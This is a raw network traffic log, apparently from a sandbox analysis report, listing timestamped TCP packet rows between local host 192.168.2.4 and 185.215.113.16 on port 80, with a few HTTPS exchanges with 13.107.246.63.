Nov 23, 2024 20:23:10.098804951 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.107050896 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.107105017 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.107176065 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.107228041 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.115443945 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.115499020 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.115539074 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.115607023 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.123878002 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.123975039 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.124739885 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.132294893 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.132359982 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.132400036 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.132448912 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.140810966 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.140875101 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.140964031 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.141016960 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.148633957 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.148690939 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.148762941 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.148813009 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.156372070 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.156425953 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.254095078 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.254235983 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.254307032 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.255441904 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.255503893 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.255522013 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.255563021 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.269525051 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.269587994 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.269655943 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.269711971 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.271768093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.271815062 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.271857977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.271908998 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.276151896 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.276253939 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.276331902 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.280499935 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.280561924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.280653954 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.280700922 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.284885883 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.284938097 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.285022020 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.285068989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.289267063 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.289315939 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.289376974 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.289423943 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.293642044 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.293714046 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.293754101 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.293808937 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.298047066 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.298145056 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.298170090 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.298222065 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.302418947 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.302495956 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.302792072 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.302845955 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.306822062 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.306874037 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.306926966 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.306982040 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.311181068 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.311255932 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.311335087 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.311389923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.315598965 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.315656900 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.315692902 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.315746069 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.319931984 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.320008993 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.320046902 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.320101023 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.324362993 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.324430943 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.324513912 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.324567080 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.328738928 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.328808069 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.328892946 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.328946114 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.333121061 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.333189011 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.333250999 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.333306074 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.337493896 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.337548018 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.337598085 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.337646008 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.341886044 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.341959000 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.342019081 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.342072964 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.346265078 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.346317053 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.346384048 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.346426964 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.350708008 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.350781918 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.350812912 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.350888014 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.355026960 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.355086088 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.445959091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.446053028 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.446086884 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.446137905 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.448040009 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.448095083 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.448137999 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.448188066 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.452145100 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.452195883 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.461534977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.461592913 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.461702108 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.461755991 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.463563919 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.463617086 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.463654995 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.463701010 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.467658997 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.467713118 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.467861891 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.467911005 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.471755981 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.471808910 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.471887112 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.471940994 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.475821018 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.475873947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.475939989 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.475999117 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.479964018 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.480015039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.480053902 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.480103970 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.484035015 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.484088898 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.484179974 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.484236956 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.488301992 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.488354921 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.488368988 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.488415956 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.492264986 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.492321014 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.492420912 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.492469072 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.496361017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.496416092 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.496481895 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.496531010 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.500468016 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.500519037 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.500614882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.500782967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.504575014 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.504626036 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.504698038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.504745007 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.508696079 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.508748055 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.508902073 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.508948088 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.512788057 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.512856007 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.512924910 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.512973070 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.515904903 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.515959978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.515969992 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.516019106 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.519002914 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.519051075 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.519224882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.519273043 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.522252083 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.522301912 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.522360086 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.522409916 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.525199890 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.525238037 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.525262117 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.525291920 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.528250933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.528302908 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.528402090 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.528449059 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.531331062 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.531382084 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.531410933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.531451941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.534406900 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.534457922 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.534549952 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.534600019 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.536963940 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.537529945 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.537596941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.537614107 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.537625074 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.537635088 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.537723064 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.538084030 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.538091898 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.540595055 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.540652037 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.540889978 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.540942907 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.543685913 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.543747902 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.543790102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.543838978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.546876907 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.546930075 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.546979904 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.547030926 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.549840927 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.549891949 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.549998999 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.550046921 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.553040981 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.553086996 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.553158998 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.553210020 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.556070089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.556123972 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.556153059 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.556267977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.556323051 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.556548119 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.556565046 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.556855917 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.556860924 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.559223890 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.559278965 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.559308052 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.559367895 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.562275887 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.562336922 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.562395096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.562412024 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.565437078 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.565491915 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.565521002 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.565639973 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.568416119 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.568470001 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.568521976 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.568573952 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.571494102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.571546078 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.571666956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.571723938 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.574557066 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.574606895 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.574644089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.574690104 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.647770882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.647851944 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.647954941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.649183989 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.649245024 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.649282932 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.649333000 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.651431084 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.651479006 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.651524067 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.651571989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.652601957 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.653003931 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.653014898 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.653327942 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.653332949 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.654356956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.654411077 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.654618979 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.654676914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.657222986 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.657334089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.657448053 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.657448053 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.669310093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.669476986 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.669523001 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.669596910 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.670141935 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.670192957 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.670273066 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.670322895 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.673078060 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.673126936 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.673156023 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.673202038 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.673600912 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.673916101 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.673934937 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.674218893 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.674226046 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.675960064 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.676022053 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.676177979 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.676229000 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.678903103 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.678952932 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.679182053 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.679234028 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.681705952 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.681759119 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.681881905 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.681952953 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.684619904 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.684667110 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.684708118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.684756041 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.687522888 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.687576056 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.687659025 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.687709093 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.690387964 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.690438032 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.690495014 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.690541029 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.693253040 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.693308115 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.693397999 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.693464041 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.696249008 CET	80	49760	185.215.113.16	192.168.2.4
